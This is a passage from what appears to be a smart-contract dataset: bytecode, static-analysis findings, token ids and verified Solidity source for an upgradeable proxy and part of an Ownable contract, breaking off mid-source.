10416836120df565b600a54600d54600554604051631f2c13e160e31b81526001600160a01b0361010090940484169363f9609f089361243f93908216929116906004016135c0565b600060405180830381600087803b15801561245957600080fd5b505af115801561246d573d6000803e3d6000fd5b505050505050565b60006124b783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612f2d565b90505b92915050565b6005546040516370a0823160e01b81526000918291829182916001600160a01b03909116906370a08231906124f99030906004016135ac565b60206040518083038186803b15801561251157600080fd5b505afa158015612525573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125499190613508565b600a54600d5460405163072e008f60e11b81529293506001600160a01b03610100909204821692630e5c011e926125849216906004016135ac565b600060405180830381600087803b15801561259e57600080fd5b505af11580156125b2573d6000803e3d6000fd5b50506040516370a0823160e01b81526000925073d533a949740bb3306d119cc777fa900ba034cd5291506370a08231906125f09030906004016135ac565b60206040518083038186803b15801561260857600080fd5b505afa15801561261c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126409190613508565b9050801561271a5761265181612f59565b600b549091506126819073d533a949740bb3306d119cc777fa900ba034cd52906001600160a01b03166000611ea7565b600b546126ad9073d533a949740bb3306d119cc777fa900ba034cd52906001600160a01b031683611ea7565b600b546040516338ed173960e01b81526001600160a01b03909116906338ed1739906126e7908490600090600f90309042906004016138e2565b600060405180830381600087803b15801561270157600080fd5b505af1158015612715573d6000803e3d6000fd5b505050505b600a54600d5460405163f1e42ccd60e01b81526001600160a01b0361010090930483169263f1e42ccd926127699291169073c011a73ee8576fb46f5e1c5751ca3b9fe0af2a6f906004016135c0565b600060405180830381600087803b15801561278357600080fd5b505af1158015612797573d6000803e3d6000fd5b50506040516370a0823160e01b81526000925073c011a73ee8576fb46f5e1c5751ca3b9fe0af2a6f91506370a08231906127d59030906004016135ac565b60206040518083038186803b1580156127ed57600080fd5b505afa158015612801573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128259190613508565b905080156129085761286173c011a73ee8576fb46f5e1c5751ca3b9fe0af2a6f73d9e1ce17f2641f24ae83637ab66a2cca9c378b9f6000611ea7565b61289473c011a73ee8576fb46f5e1c5751ca3b9fe0af2a6f73d9e1ce17f2641f24ae83637ab66a2cca9c378b9f83611ea7565b6040516338ed173960e01b815273d9e1ce17f2641f24ae83637ab66a2cca9c378b9f906338ed1739906128d5908490600090601090309042906004016138e2565b600060405180830381600087803b1580156128ef57600080fd5b505af1158015612903573d6000803e3d6000fd5b505050505b6040516370a0823160e01b8152600090736b175474e89094c44da98b954eedeac495271d0f906370a08231906129429030906004016135ac565b60206040518083038186803b15801561295a57600080fd5b505afa15801561296e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129929190613508565b6040516370a0823160e01b815290915060009073a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48906370a08231906129cf9030906004016135ac565b60206040518083038186803b1580156129e757600080fd5b505afa1580156129fb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a1f9190613508565b6040516370a0823160e01b815290915060009073dac17f958d2ee523a2206206994597c13d831ec7906370a0823190612a5c9030906004016135ac565b60206040518083038186803b158015612a7457600080fd5b505afa158015612a88573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612aac9190613508565b90506000831180612abd5750600082115b80612ac85750600081115b15612ad857612ad8838383612fc3565b6005546040516370a0823160e01b8152612b649188916001600160a01b03909116906370a0823190612b0e9030906004016135ac565b60206040518083038186803b158015612b2657600080fd5b505afa158015612b3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b5e9190613508565b90612475565b98506000612b70611cff565b6001546040516339ebf82360e01b81529192506000916001600160a01b03909116906339ebf82390612ba69030906004016135ac565b6101206040518083038186803b158015612bbf57600080fd5b505afa158015612bd3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612bf79190613472565b60c00151905080821015612c0f57818103995060009a505b8b15612c3757612c1e8c612e8a565b50612c348c612c2f8d612b5e61167a565b613167565b98505b50505050505050509193909250565b600a54600d546005546040516301395c5960e31b81526001600160a01b036101009094048416936309cae2c893612c8693908216929116906004016135c0565b602060405180830381600087803b158015612ca057600080fd5b505af1158015612cb4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e89190613508565b6000828201838110156124b75760405162461bcd60e51b815260040161068590613700565b600082612d0c575060006124ba565b82820282848281612d1957fe5b04146124b75760405162461bcd60e51b815260040161068590613737565b6060612d8c826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316611fa69092919063ffffffff16565b805190915015611fa15780806020019051810190612daa919061335d565b611fa15760405162461bcd60e51b815260040161068590613815565b6060612dd18561317d565b612ded5760405162461bcd60e51b8152600401610685906137b9565b60006060866001600160a01b03168587604051612e0a919061354f565b60006040518083038185875af1925050503d8060008114612e47576040519150601f19603f3d011682016040523d82523d6000602084013e612e4c565b606091505b50915091508115612e60579150611fb59050565b805115612e705780518082602001fd5b8360405162461bcd60e51b81526004016106859190613689565b6000612e9882612c2f6109ac565b600a54600d54600554604051636ce5768960e11b81529395506001600160a01b0361010090930483169363d9caed1293612edb93811692169087906004016135da565b602060405180830381600087803b158015612ef557600080fd5b505af1158015612f09573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124ba9190613508565b60008184841115612f515760405162461bcd60e51b81526004016106859190613689565b505050900390565b600080612f7d612710612f77600e5486612cfd90919063ffffffff16565b906131b6565b9050612fb273d533a949740bb3306d119cc777fa900ba034cd5273f147b8125d2ef93fb6965db97d6746952a133934836120df565b612fbc8382612475565b9392505050565b821561302257600c54612ff690736b175474e89094c44da98b954eedeac495271d0f906001600160a01b03166000611ea7565b600c5461302290736b175474e89094c44da98b954eedeac495271d0f906001600160a01b031685611ea7565b811561308157600c546130559073a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48906001600160a01b03166000611ea7565b600c546130819073a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48906001600160a01b031684611ea7565b80156130e057600c546130b49073dac17f958d2ee523a2206206994597c13d831ec7906001600160a01b03166000611ea7565b600c546130e09073dac17f958d2ee523a2206206994597c13d831ec7906001600160a01b031683611ea7565b600c546040805160808101825285815260208101859052808201849052600060608201819052915162a6cbcd60e21b81526001600160a01b039093169263029b2f34926131309291600401613617565b600060405180830381600087803b15801561314a57600080fd5b505af115801561315e573d6000803e3d6000fd5b50505050505050565b600081831061317657816124b7565b5090919050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470818114801590611fb5575050151592915050565b60006124b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836132145760405162461bcd60e51b81526004016106859190613689565b50600083858161322057fe5b0495945050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061326b5782800160ff19823516178555613298565b82800160010185558215613298579182015b8281111561329857823582559160200191906001019061327d565b506132a49291506132f4565b5090565b6040518061012001604052806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b5b808211156132a457600081556001016132f5565b60006020828403121561331a578081fd5b81356124b7816139dd565b600060208284031215613336578081fd5b81516124b7816139dd565b600060208284031215613352578081fd5b81356124b7816139f2565b60006020828403121561336e578081fd5b81516124b7816139f2565b6000806020838503121561338b578081fd5b823567ffffffffffffffff808211156133a2578283fd5b818501915085601f8301126133b5578283fd5b8135818111156133c3578384fd5b8660208285010111156133d4578384fd5b60209290920196919550909350505050565b6000602082840312156133f7578081fd5b815167ffffffffffffffff8082111561340e578283fd5b818401915084601f830112613421578283fd5b81518181111561342f578384fd5b613442601f8201601f1916602001613986565b9150808252856020828501011115613458578384fd5b6134698160208401602086016139ad565b50949350505050565b6000610120808385031215613485578182fd5b61348e81613986565b9050825181526020830151602082015260408301516040820152606083015160608201526080830151608082015260a083015160a082015260c083015160c082015260e083015160e08201526101008084015181830152508091505092915050565b600060208284031215613501578081fd5b5035919050565b600060208284031215613519578081fd5b5051919050565b60008060408385031215613532578182fd5b823591506020830135613544816139f2565b809150509250929050565b600082516135618184602087016139ad565b9190910192915050565b600064437572766560d81b8252825161358b8160058501602087016139ad565b69566f74657250726f787960b01b6005939091019283015250600f01919050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b60a08101818460005b600481101561363f578151835260209283019290910190600101613620565b5050508260808301529392505050565b901515815260200190565b60006020825282602083015282846040840137818301604090810191909152601f909201601f19160101919050565b60006020825282518060208401526136a88160408501602087016139ad565b601f01601f19169190910160400192915050565b6020808252600b908201526a085cdd1c985d1959da5cdd60aa1b604082015260600190565b602080825260059082015264085dd85b9d60da1b604082015260600190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b602080825260069082015265085d985d5b1d60d21b604082015260600190565b6020808252600790820152662173686172657360c81b604082015260600190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252600b908201526a08585d5d1a1bdc9a5e995960aa1b604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b6020808252600a9082015269085c1c9bdd1958dd195960b21b604082015260600190565b60208082526036908201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60408201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b606082015260800190565b90815260200190565b600060a082018783526020878185015260a0604085015281875480845260c0860191508885528285209350845b818110156139345784546001600160a01b03168352600194850194928401920161390f565b50506001600160a01b03969096166060850152505050608001529392505050565b9283526020830191909152604082015260600190565b93845260208401929092526040830152606082015260800190565b60405181810167ffffffffffffffff811182821017156139a557600080fd5b604052919050565b60005b838110156139c85781810151838201526020016139b0565b838111156139d7576000848401525b50505050565b6001600160a01b038116811461135c57600080fd5b801515811461135c57600080fdfea2646970667358221220292141ad90fa8ae2f3bd9a1d7465602e1a1a96528fa191a04ce3c3c57475ec6764736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 14142, 2546, 25746, 7875, 2629, 9818, 8586, 2683, 16086, 4783, 23632, 2497, 2692, 7959, 26224, 17134, 2050, 2692, 2683, 2278, 2692, 2497, 28311, 2692, 28756, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 12943, 24759, 1011, 1017, 1012, 1014, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 2260, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 1013, 1013, 3795, 4372, 18163, 1998, 2358, 6820, 16649, 2358, 6820, 6593, 5656, 28689, 5244, 1063, 21318, 3372, 17788, 2575, 2836, 7959, 2063, 1025, 21318, 3372, 17788, 2575, 13791, 1025, 21318, 3372, 17788, 2575, 7016, 8609, 3695, 1025, 21318, 3372, 17788, 2575, 2568, 15878, 25856, 2121, 8167, 6961, 2102, 1025, 21318, 3372, 17788, 2575, 4098, 3207, 19279, 4842, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,698
0x9731535F9F20F418E08C05272aF9b6E00c3255a5
/** *Submitted for verification at Etherscan.io on 2021-04-19 */ pragma solidity ^0.6.0; library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220249c822daf23a4c4105d411560ffa6c4b3a5d68c227c3a6354de449e0b177f2264736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 21486, 22275, 2629, 2546, 2683, 2546, 11387, 2546, 23632, 2620, 2063, 2692, 2620, 2278, 2692, 25746, 2581, 2475, 10354, 2683, 2497, 2575, 2063, 8889, 2278, 16703, 24087, 2050, 2629, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5840, 1011, 2539, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 3075, 4769, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 2995, 2065, 1036, 4070, 1036, 2003, 1037, 3206, 1012, 1008, 1008, 1031, 2590, 1033, 1008, 1027, 1027, 1027, 1027, 1008, 2009, 2003, 25135, 2000, 7868, 2008, 2019, 4769, 2005, 2029, 2023, 3853, 5651, 1008, 6270, 2003, 2019, 27223, 1011, 3079, 4070, 1006, 1041, 10441, 1007, 1998, 2025, 1037, 3206, 1012, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,699
0x973174dc593777285d2975250dc1515b504d3eb1
// File: contracts\openzeppelin\contracts\GSN\Context.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: contracts\openzeppelin\contracts\access\Ownable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function 